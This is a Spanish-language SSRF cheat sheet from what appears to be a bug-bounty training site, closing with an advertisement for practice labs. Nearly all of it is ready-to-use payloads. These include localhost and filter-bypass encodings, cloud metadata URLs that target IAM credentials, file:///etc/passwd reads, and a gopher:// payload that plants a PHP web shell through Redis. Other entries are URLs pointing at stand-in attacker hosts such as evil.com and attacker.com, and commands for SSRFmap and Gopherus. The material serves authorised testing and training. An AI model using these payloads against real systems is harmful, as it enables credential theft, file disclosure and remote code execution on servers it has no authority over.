Cheatsheet SSRF
Server-Side Request Forgery
Referencia rápida
- →Siempre probar representaciones alternativas de 127.0.0.1: decimal, octal, hex, IPv6
- →AWS IMDSv2 requiere token previo via PUT - IMDSv1 es accesible directamente
- →Redirect 302 desde servidor propio puede bypassear filtros de protocolo (http -> file://)
- →El protocolo gopher:// permite interactuar con casi cualquier servicio TCP interno
- →Buscar SSRF en parametros de URL, webhooks, integraciones, importacion de archivos y parsers de imagenes/PDF
Bypass de localhost
IPv4 basico
http://127.0.0.1:80
IPv4 abreviado
http://127.1:80
Cero como localhost
http://0
IPv6 localhost
http://[::]:80/
IPv6 full
http://[0000::1]:80/
Decimal bypass2130706433 = 127.0.0.1 en decimal
http://2130706433/
Octal bypass
http://0177.0000.0000.0001
Hexadecimal bypass
http://0x7f000001/
DNS rebinding y resolucion
nip.io wildcard
http://127.0.0.1.nip.io
localtest.meResuelve siempre a 127.0.0.1
http://localtest.me
Spoofed collaboratorConfigurar DNS record apuntando a 127.0.0.1
http://spoofed.burpcollaborator.net
Unicode dotsFullwidth dots que algunos parsers no reconocen
http://127。0。0。1
Enclosed alphanumeric
http://①②⑦.⓪.⓪.⓪
Cloud metadata endpoints
AWS IMDSv1 - credenciales IAM
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE]
AWS - user-data
http://169.254.169.254/latest/user-data
AWS - hostname
http://169.254.169.254/latest/meta-data/hostname
Google CloudRequiere header Metadata-Flavor: Google
http://metadata.google.internal/computeMetadata/v1/
AzureRequiere header Metadata: true
http://169.254.169.254/metadata/instance?api-version=2017-04-02
Digital Ocean
http://169.254.169.254/metadata/v1.json
Oracle Cloud
http://192.0.0.192/latest/meta-data/
Alibaba Cloud
http://100.100.100.200/latest/meta-data/
Protocolos alternativos
file:// - lectura de archivos
file:///etc/passwd
dict:// - interaccion TCP
dict://attacker:11111/
gopher:// - raw TCP (Redis RCE)Requiere soporte de gopher en el servidor
gopher://localhost:6379/_SET%20shell%20%22%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%3F%3E%22
sftp://
sftp://evil.com:11111/
ldap://
ldap://localhost:11211/%0astats%0aquit
file:// con bypass de extensionEl ? evita validaciones de extension de archivo
file:///etc/passwd%3F/
Bypass de filtros de dominio
Credentials en URL
https://{domain}@attacker.comSubdominio del atacante
https://{domain}.attacker.comFragment bypass
https://attacker.com#{domain}Null byte
https://attacker.com%00{domain}Backslash trick (WHATWG)WHATWG trata \ como / pero RFC3986 no
http://attacker.com\@{domain}Parameter pollution
next={domain}&next=attacker.comBypass de WAF
| WAF | Técnica | Payload |
|---|---|---|
Filtro IP 127.0.0.1 | Representacion decimal | http://2130706433/ |
Filtro IP 169.254.* | IPv6-mapped IPv4 | http://[0:0:0:0:0:ffff:169.254.169.254]/ |
Filtro de protocolo | Redirect 302 a file:// | http://attacker.com/redirect -> file:///etc/passwd |
Filtro de dominio | DNS rebinding | http://1ynrnhl.xip.io (resuelve a 169.254.169.254) |
Validacion URL | Backslash trick WHATWG | http://attacker.com\@allowed-domain.com |
Filtro regex | Enclosed alphanumeric Unicode | http://ⒶⓉⓉⒶⒸⓀⒺⓇ.ⒸⓄⓂ |
Herramientas
SSRFmap
Framework de explotacion SSRF automatizado con multiples modulos
python3 ssrfmap.py -r request.txt -p url -m readfiles
Gopherus
Genera payloads Gopher para Redis, MySQL, FastCGI, Memcache y SMTP
python3 gopherus.py --exploit redis
Interactsh
Servidor de callbacks OOB para confirmar SSRF blind via DNS/HTTP
interactsh-client -v
Contenido relacionado
¿Listo para practicar?
Pon en práctica estos payloads en labs reales basados en reportes de bug bounty.
Ver labs de prácticahunters entrenando
labs de reportes reales
completaciones
en bounties practicados
Deja de leer sobre bugs y empieza a cazarlos
Crea tu cuenta gratis y practica sobre labs basados en reportes reales que pagaron miles de euros. La Academy es gratis para siempre.
Sin tarjeta · Academy gratis · cancela cuando quieras